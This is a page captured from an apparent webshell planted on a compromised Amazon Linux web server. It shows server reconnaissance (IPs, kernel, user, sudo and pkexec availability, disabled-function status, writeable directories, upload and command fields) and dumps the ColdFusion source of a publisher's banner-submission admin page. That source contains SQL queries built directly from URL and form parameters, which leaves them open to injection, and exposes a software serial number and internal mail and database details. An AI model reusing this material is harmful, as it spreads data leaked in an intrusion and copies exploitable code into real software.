403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.191
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/materials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/materials/submit-banners.cfm
<cfinclude template="materialsheader.cfm">
<Cfparam name="url.typer" default="Banners">


<cfquery name="getclient" datasource="cityguide">
SELECT * from adopstrackingclient
<cfif parameterexists(url.preview)>
    where id = #url.preview#

    <cfelse>
where id = #url.clientid#
</cfif>
</cfquery>


<div id="content">
  <div id="content-header">
   <h2>&nbsp; Advertising</h2>
  </div>
  <div class="container-fluid">


Submit <Cfoutput>#ucase(url.typer)# materials for #getclient.clientname# - #getclient.campaignname#</Cfoutput>
<p>






<cfif parameterexists(url.preview)>


    <cfif not parameterexists(form.link)>
        Error, you must enter a link for the banners.

        <p>
           	<p>
            <a href="javascript:window.history.back()">Back</a>

<cfinclude template="/footer.cfm">
        </p>

	<cfabort>
        </cfif>

    <cfquery name="upds" datasource="cityguide">
        update staging.banners
        set link = '#form.link#'
        where clientid = #url.preview#
    </cfquery>
	<p>
            <a href="javascript:window.history.back()">Back</a>

<Cfoutput>
<FORM name="form2" action="submit-banners.cfm?clientid=#url.preview#&done=on" method="post" enctype="multipart/form-data">



</cfoutput>

                                     <button type="submit" class="btn btn-success m-t-20" style="background-color:#b20223;"><i class="fa fa-envelope-o"></i> Submit Materials</button>
</form>


       	</p>

<cfquery name="getbanner" datasource="cityguide">
    select * from staging.banners
            where clientid =#url.preview#
        and itemstatus = -1

</cfquery>

   <Cfif #getbanner.recordcount# eq 0>

       <font color="red" size=+1>WARNING - No Banners Found. Please go back and be sure to upload before hitting 'Next'.
       <br><br><br><br><br>
    <p>
                <p>
            <a href="javascript:window.history.back()">Back</a>

<cfinclude template="/footer.cfm">
        </p>
	<Cfabort>
   </Cfif>

   <table border="1">
   <cfoutput query="getbanner">
        <TR bgcolor="#IIf(CurrentRow Mod 2, DE('ffffff'), DE('ffffcf'))#">

            <td style="padding-top:4px;padding-bottom:4px;"><b><h1 style="font-size:14pt;">#bannerheight# Pixels High x #bannerwidth# Pixels Wide

            <cfif (#bannerheight# is not 600 and bannerheight is not 90 and bannerheight is not 50 and bannerheight is not 100 and bannerheight is not 600 and bannerheight is not 250 and bannerheight is not 360 and bannerheight is not 1050)

            or

            (#bannerwidth# is not 160 and bannerwidth is not 728 and bannerwidth is not 970 and bannerwidth is not 300 and bannerwidth is not 800 and bannerwidth is not 320)

            >
             	<font color="b20223">WARNING - Not a Standard Banner Size - Please Check <a href="https://www.broadwayworld.com/specs" target="_new" style="text-decoration:underline;color:black;">Specs</a></font>

            </cfif>





            </h1></b>



            <br><a href="#link#"><img src="https://admin.nymetroparents.com/banners/#banner#" style="max-height:1050px;"></a></td>
       </tr>



   </cfoutput>
   </table>

<Cfoutput>
<FORM name="form2" action="submit-banners.cfm?clientid=#url.preview#&done=on" method="post" enctype="multipart/form-data">
</cfoutput>

                                     <button type="submit" class="btn btn-success m-t-20" style="background-color:#b20223;"><i class="fa fa-envelope-o"></i> Submit Materials</button>
</form>

<Cfelseif parameterexists(url.done)>

    <cfquery name="getbanner" datasource="cityguide">
    select * from staging.banners
            where clientid =#url.clientid#
        and itemstatus = -1

</cfquery>

    <cfquery name="upds" datasource="cityguide">
        update staging.banners
        set itemstatus = 0
        where clientid = #url.clientid#
        and itemstatus = -1
    </cfquery>


  <CFMAIL
TO="#getclient.adopsemail#"
SUBJECT="Banner Materials Submitted for #getclient.clientname# - #getclient.campaignname#"
  FROM="Anthony Costa <[email protected]>"
      SERVER="us-smtp-outbound-1.mimecast.com"type="html"
 >

#getclient.clientname# - #getclient.campaignname#
<br>
<a href="https://admin.nymetroparents.com/adslist-materials.cfm">Click Here to Approve Materials</a>


<Cfoutput query="getbanner">
                    <br>#link#<br>
                    <a href="#link#"><img src="https://cloudadmin.broadwayworld.com/banners/#banner#" style="max-height:1050px;"></a><p>

                    </p>

</Cfoutput>
</cfmail>

  <CFMAIL
TO="#getclient.accountrep#"
SUBJECT="Banner Materials Submitted for #getclient.clientname# - #getclient.campaignname#"
  FROM="Anthony Costa <[email protected]>"
      SERVER="us-smtp-outbound-1.mimecast.com"
      type="html"
 >

#getclient.clientname# - #getclient.campaignname#
<br>


<Cfoutput query="getbanner">
                    <br>#link#<br><a href="#link#"><img src="https://admin.nymetroparents.com/banners/#banner#" style="max-height:1050px;"></a><p>

                    </p>

</Cfoutput>
</cfmail>



    Thank you, your materials have been sent to Ad Ops.



<Cfelse>





<Cfset imagetemp =randrange(1,100000)>

<b style="color:#b20223;font-weight:boldest;"><br>
Browse, or drag and drop all of your banners (they must be jpg, gif or png files) and hit 'Upload'. When all files are uploaded, press Next >>>.
</b>

    	<!-- UniversalUploader css style file -->
        <link rel="stylesheet" href="/universaluploader2/universal/style.css">
        <!-- Examples css file -->
        <!-- UniversalUploader JavaScript code file -->
        <script type="text/javascript" src="/universaluploader2/universal/universaluploader.js"></script>

<!-- PlaceHolder for UniversalUploader User Interface. Existing content will not be removed.
  UniversalUpload will append own content to the end of this div-->
<div id="universalUploader_holder" >
</div>

<!-- Initialization of UniversalUploader object -->
<script type="text/javascript">
universalUploader.init({
        //Your serialNumber
        serialNumber: "00813315924382181212425172175150247912723810191",
        //List of uploaders to render
        uploaders: "drag-and-drop, flash, silverlight, classic",
        //First of correctly initialized uploader will be rendered
        singleUploader : true,
        //determines whether tab header should be displayed. Only for singleUploader mode
        renderTabHeader: false,
        //Id of html element where universalUploader should be rendered
        //If not set, document body used
        holder: "universalUploader_holder",
        //Url to the swf file
        flash_swfUrl : "ElementITMultiPowUpload.swf",
        //Url to the xap file
        silverlight_xapUrl : "/universaluploader2/universal/uploaders/UltimateUploader.xap",
        //Path to the folder with images (status icons, remove icon) By default images subfolder is used (relative to the html page base path)
        //In these examples we place icons inside universal/images subfolder.
        imagesPath : "/universaluploader2/universal/images/",
        //Url to the file processing script
        url: "submit-banners-upload.cfm?id=<Cfoutput>#url.clientid#</cfoutput>"
});

//File upload complete
universalUploader.bindEventListener("FileUploadComplete", function (uploaderId, file){
        var responselable = document.getElementById("serverresponse");
        if(file.serverResponse) responselable.innerHTML += "<strong>" + file.serverResponse + "</strong>";
});

//File upload error handler
universalUploader.bindEventListener("FileUploadError", function (uploaderId, file, status, msg){
        var responselable = document.getElementById("serverresponse");
        responselable.innerHTML += "File Upload error "+file.name+" status "+status+" message "+msg;
});

universalUploader.bindEventListener("Init", function (inited){
                if(!inited)
                        alert("UniversalUploader failed to init!");
});

</script>

  <div id="serverresponse"></div>


<FORM name="form2" action="submit-banners.cfm?save=on&preview=<cfoutput>#url.clientid#</cfoutput>" method="post" enctype="multipart/form-data">



                                                                            <h4>Link</h4>

                                            <input  required  name="link" style="width:600px;" class="form-control" placeholder="Where do you want to link the banner?">
                                        <br>
&nbsp;<button type="submit" class="btn btn-success m-t-20" style="background-color:#b20223;"> Next >>></button>
                                    </div>

                                        </form>





</cfif>

   </div>
<!--Footer-part-->
<br><br><br><br>

<cfinclude template="/footer.cfm">




















Youez - 2016 - github.com/yon3zu
LinuXploit